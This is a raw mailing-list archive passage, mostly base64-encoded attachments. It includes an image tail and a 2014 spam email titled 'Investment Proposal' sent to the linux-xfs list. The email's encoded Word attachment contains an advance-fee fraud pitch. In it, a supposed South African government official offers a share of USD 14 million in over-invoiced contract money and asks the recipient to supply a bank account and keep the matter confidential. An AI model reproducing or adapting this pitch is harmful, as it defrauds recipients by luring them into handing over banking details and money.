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 23dxAAAAAElFTkSuQmCC ------=_NextPart_000_000A_01CF1C5A.C0146470-- From edwardedddison@gmail.com Wed Jan 29 02:42:32 2014 Return-Path: <edwardedddison@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO, TVD_SPACE_RATIO,T_DKIM_INVALID,T_FREEMAIL_DOC_PDF autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4F04D7F86 for <linux-xfs@oss.sgi.com>; Wed, 29 Jan 2014 02:42:32 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 391AE8F8050 for <linux-xfs@oss.sgi.com>; Wed, 29 Jan 2014 00:42:32 -0800 (PST) X-ASG-Debug-ID: 1390984950-04cb6c75091c01d0001-w1Z2WR Received: from nm9-vm7.access.bullet.mail.gq1.yahoo.com (nm9-vm7.access.bullet.mail.gq1.yahoo.com [216.39.63.187]) by cuda.sgi.com with ESMTP id o6hlmRnjDR4jWEDZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <linux-xfs@oss.sgi.com>; Wed, 29 Jan 2014 00:42:31 -0800 (PST) X-Barracuda-Envelope-From: edwardedddison@gmail.com X-Barracuda-Apparent-Source-IP: 216.39.63.187 Received: from [216.39.60.175] by nm9.access.bullet.mail.gq1.yahoo.com with NNFMP; 29 Jan 2014 08:42:30 -0000 Received: from [216.39.60.246] by tm11.access.bullet.mail.gq1.yahoo.com with NNFMP; 29 Jan 2014 08:42:30 -0000 Received: from [127.0.0.1] by omp1017.access.mail.gq1.yahoo.com with NNFMP; 29 Jan 2014 08:42:30 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 428075.51663.bm@omp1017.access.mail.gq1.yahoo.com Received: (qmail 92849 invoked by uid 60001); 29 Jan 2014 08:42:29 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1390984949; bh=joM/0CLltRMuv5aVXPQRgBMCQ650ogBhwduoNsW3RAk=; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:Message-ID:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type; b=RQ0wp0Fs/pJ+Rt1QMG5J0cULmob23ExqPqey6YIHStHS4UU4NVQDOgZ/+Buq6Me/2gt9SS+YqwwFcOFjyLvAuEsu32TJGCngEBeaQC7gGsbDaimGcjU/en/8WFc72yWetEz0OiM2p3YDpUm/hYUoEVePLg9ayI6dbinARaTHAUU= X-YMail-OSG: a169PmYVM1ktKKzuoR8UwH0LJz3uMKsFqR8Fcfg4NA4jBB7 ld8VU4YdeackcC6hfy2Mg0z.agVn1aK9XJU14Nkbu2a.guS6kfosdc7uCpv7 SJap4uuRuLK6beoSuol3TiKojqOBWjl.DcmGZFD3USG2Ax8UejCE0UfBXcIr rBdix6yC91BBM3eveOTOMmolgF47IyhFILF6X2sA7y1S9y_B_UMGf9NhlHXU pgzWouftifHr939..J8nhG3EteypAuWGFlGWAOcUOyEPgzOl7XI1XkX1IZdK tBKg1Z437p8RFdSkmlhtZknV9MH_V6DuIiAVGxCd09TObY0_CPYc_xqU832M ZA7R0daxd4e1ydWg4Xr7tQkJIopBDc2ujSZ5f2BWwTZYnMmfD8Y8WfN5TdeY xXYJo9Zz67Zc2IKVaFELHWVNW.chDoZqZkcvdcrewsScbkuqhk_WJDGMZO97 U15L6BTUp73kkh0RLGrRS9LROu8hFSWxIwGnyGZX90NffWvuYRVJs7bnkysz TqGo1INfWYa979QXunnYP8LZZIPGsw2A__Qw5KYFr2ptVJeSIcntVsT1YmWj N1HzrZNA8cx.E Received: from [197.228.159.19] by web5702.biz.mail.ne1.yahoo.com via HTTP; Wed, 29 Jan 2014 00:42:29 PST X-RocketYMMF: webmkop717 X-Mailer: YahooMailClassic/402 YahooMailWebService/0.8.174.629 Message-ID: <1390984949.39187.YahooMailBasic@web5702.biz.mail.ne1.yahoo.com> Date: Wed, 29 Jan 2014 00:42:29 -0800 (PST) From: "Mr.Edward Edison" <edwardedddison@gmail.com> Reply-To: Mredwardedison@gmail.com Subject: Investment Proposal To: undisclosed recipients: ; X-ASG-Orig-Subj: Investment Proposal MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="-1206156689-1865227473-1390984949=:39187" X-Barracuda-Connect: nm9-vm7.access.bullet.mail.gq1.yahoo.com[216.39.63.187] X-Barracuda-Start-Time: 1390984951 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.00 X-Barracuda-Spam-Status: No, SCORE=1.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC3_MV0253_2, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144596 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 1.00 BSF_SC3_MV0253_2 Custom rule MV0253_2 ---1206156689-1865227473-1390984949=:39187 Content-Type: text/plain; charset=us-ascii ---1206156689-1865227473-1390984949=:39187 Content-Type: application/msword; name="Investment Proposal.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Investment Proposal.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAAB AAAALgAAAAAAAAAAEAAAMAAAAAEAAAD+////AAAAAC0AAAD///////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// ///////////////////////spcEAW4AJBAAA8BK/AAAAAAAAEAAAAAAACAAA bhEAAA4AYmpiaqz6rPoAAAAAAAAAAAAAAAAAAAAAAAAJBBYANBwAAM6QAQDO kAEAbgkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAAAAAA AAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAAPQFAAAA AAAA9AUAADcTAAAAAAAANxMAAAAAAAA3EwAAAAAAADcTAAAAAAAANxMAABQA AAAAAAAAAAAAAP////8AAAAASxMAAAAAAABLEwAAAAAAAEsTAAAAAAAASxMA ACQAAABvEwAADAAAAEsTAAAAAAAAYRYAADABAAB7EwAAFgAAAJETAAAAAAAA kRMAAAAAAACREwAAAAAAAJETAAAAAAAAoBQAAAAAAACgFAAAAAAAAKAUAAAA AAAA4BUAAAIAAADiFQAAAAAAAOIVAAAAAAAA4hUAAAAAAADiFQAAAAAAAOIV AAAAAAAA4hUAACQAAACRFwAAogIAADMaAABAAAAABhYAABUAAAAAAAAAAAAA AAAAAAAAAAAANxMAAAAAAACgFAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgFAAA AAAAAKAUAAAAAAAAoBQAAAAAAACgFAAAAAAAAAYWAAAAAAAAAAAAAAAAAAA3 EwAAAAAAADcTAAAAAAAAkRMAAAAAAAAAAAAAAAAAAJETAAAPAQAAGxYAABYA AAAkFQAAAAAAACQVAAAAAAAAJBUAAAAAAACgFAAACgAAADcTAAAAAAAAkRMA AAAAAAA3EwAAAAAAAJETAAAAAAAA4BUAAAAAAAAAAAAAAAAAACQVAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAoBQAAAAAAADgFQAAAAAAAAAAAAAAAAAAJBUAAAAAAAAAAAAAAAAAACQV AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJBUAAAAAAACREwAA AAAAAP////8AAAAAIPKMtcIczwEAAAAAAAAAAEsTAAAAAAAAqhQAABYAAAAk FQAAAAAAAAAAAAAAAAAAzBUAABQAAAAxFgAAMAAAAGEWAAAAAAAAJBUAAAAA AABzGgAAAAAAAMAUAABkAAAAcxoAAAAAAAAkFQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAHMaAAAAAAAAAAAAAAAAAAA3EwAAAAAAACQVAACo AAAAoBQAAAAAAACgFAAAAAAAACQVAAAAAAAAoBQAAAAAAACgFAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoBQAAAAAAACgFAAAAAAA AKAUAAAAAAAABhYAAAAAAAAGFgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAJBUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAKAUAAAAAAAAoBQAAAAAAACgFAAAAAAAAGEWAAAAAAAAoBQAAAAA AACgFAAAAAAAAKAUAAAAAAAAoBQAAAAAAAAAAAAAAAAAAP////8AAAAA//// /wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8A AAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAHMa AAAAAAAAoBQAAAAAAACgFAAAAAAAAKAUAAAAAAAAoBQAAAAAAACgFAAAAAAA AKAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACgFAAAAAAAAKAUAAAAAAAAoBQAAAAAAAD0 BQAACQwAAP0RAAA6AQAABQASAQAACQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEZyb206 IE1yLiBFZHdhcmQgRWRpc29uDQ1EZWFyIFNpci9NYWRhbSygoKCgoKAgoA0g ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0gICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIKBJbnZlc3Rt ZW50IFByb3Bvc2FsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0g ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAtNeSBu YW1lIGlzIE1yLiBFZHdhcmQgRWRpc29uLiBJIGFtIGEgc3RhZmYgb2YgYSBn b3Zlcm5tZW50IG1pbmlzdHJ5IGluIFNvdXRoIEFmcmljYSByZXNwb25zaWJs ZSBmb3IgYXdhcmRpbmcgYW5kIGV4ZWN1dGlvbiBvZiBjb250cmFjdHMuIEkg aGF2ZSBpbiBteSBwb3NzZXNzaW9uIGFuIG91dHN0YW5kaW5nIGNvbnRyYWN0 IHBheW1lbnQgb2YgVVNEMTQsIDAwMCwwMDAgTWlsbGlvbi4gVGhlc2UgZnVu ZHMgcmVwcmVzZW50IGNlcnRhaW4gcGVyY2VudGFnZSBvZiB0aGUgdG90YWwg Y29udHJhY3QgdmFsdWUgZXhlY3V0ZWQgb24gYmVoYWxmIG9mIGEgRGVwYXJ0 bWVudCBieSBhIGZvcmVpZ24gDQ1jb250cmFjdGluZyBmaXJtLCB3aGljaCB3 YXMgb2ZmaWNpYWxseSBvdmVyLWludm9pY2VkIHRvIHRoZSBhbW91bnQgb2Yg KFVTRDE0LCAwMDAsMDAwKS4gVGhvdWdoIHRoZSBhY3R1YWwgY29udHJhY3Qg Y29zdCBoYXMgYmVlbiBwYWlkIHRvIHRoZSBvcmlnaW5hbCBjb250cmFjdG9y LCBsZWF2aW5nIHRoZSBleGNlc3MgYmFsYW5jZSB1bmNsYWltZWQuIFNvIEkg YW0gaW4gc2VhcmNoIG9mIGFuIGluZGl2aWR1YWwgd2hvIHdpbGwgYXNzaXN0 IG1lIHRvIHRyYW5zZmVyIHRoZSBvdXRzdGFuZGluZyBhbW91bnQgb2YgdGhl IHRvdGFsIGZ1bmQgYW5kIHN1YnNlcXVlbnRseSB3ZSBpbnZlc3Qgc2FtZSBp biBsdWNyYXRpdmUgdmVudHVyZXMgaW4gaGlzIGNvdW50cnkuIAugC1lvdSB3 aWxsIHJlY2VpdmUgdGhpcyBmdW5kIGFzIGFuIGFwcGxpZWQgY29udHJhY3Rv ci4gRm9yIHlvdXIgc3VwcG9ydCBhbmQgcGFydG5lcnNoaXAsIHBsZWFzZSBy ZXBseSB0byBuZWdvdGlhdGUgdGhlIGZlZSBvciB0aGUgcGVyY2VudGFnZSB5 b3Ugd2lsbCBiZSBwYWlkIHdoZW4gdGhlIGZ1bmRzIGFycml2ZSBpbiB5b3Vy IGFjY291bnQgb3ZlcnNlYXMuIEkgaGF2ZSB0aGUgc3VyZXR5IHRvIHNlY3Vy ZSBhcHByb3ZhbHMgd2l0aCB0aGUgY29uY2VybmVkIERlcGFydG1lbnRzLiBZ b3UgbXVzdCBob3dldmVyIG5vdGUgdGhhdCB0aGlzIHRyYW5zYWN0aW9uLCB3 aXRoIHJlZ2FyZCB0byBteSBkaXNwb3NpdGlvbiB0byBjb250aW51ZSB3aXRo IHlvdSBpcyBzdWJqZWN0IHRvIHRoZXNlIHRlcm1zOiALC0ZpcnN0bHksIG91 ciBjb252aWN0aW9uIG9mIHlvdXIgdHJhbnNwYXJlbmN5OyCSbWVhbmluZyB5 b3Ugd2lsbCBub3QgkXNpdJIgb24gdGhlIGZ1bmRzIHdoZW4gaXQgYXJyaXZl cyBpbiB5b3VyIGFjY291bnQsIFNlY29uZGx5LCB0aGF0IHlvdSB0cmVhdCB0 aGlzIHRyYW5zYWN0aW9uIHdpdGggY29uZmlkZW50aWFsaXR5IGFuZCBhbHNv IHByb3ZpZGUgYW4gYWNjb3VudCBmb3Igd2hpY2ggeW91IGhhdmUgYWJzb2x1 dGUgY29udHJvbC4LoAtJdCBkb2VzIG5vdCBtYXR0ZXIgd2hldGhlciB5b3Uv eW91ciBDb21wYW55IGRvZXMgY29udHJhY3QgcHJvamVjdHMsIGFzIGEgdHJh bnNmZXIgb2YgcG93ZXJzIHdpbGwgYmUgc2VjdXJlZCBpbiBmYXZvciBvZiB5 b3UveW91ciBDb21wYW55Lg0LQWxzbywgeW91ciBhcmVhIG9mIHNwZWNpYWxp 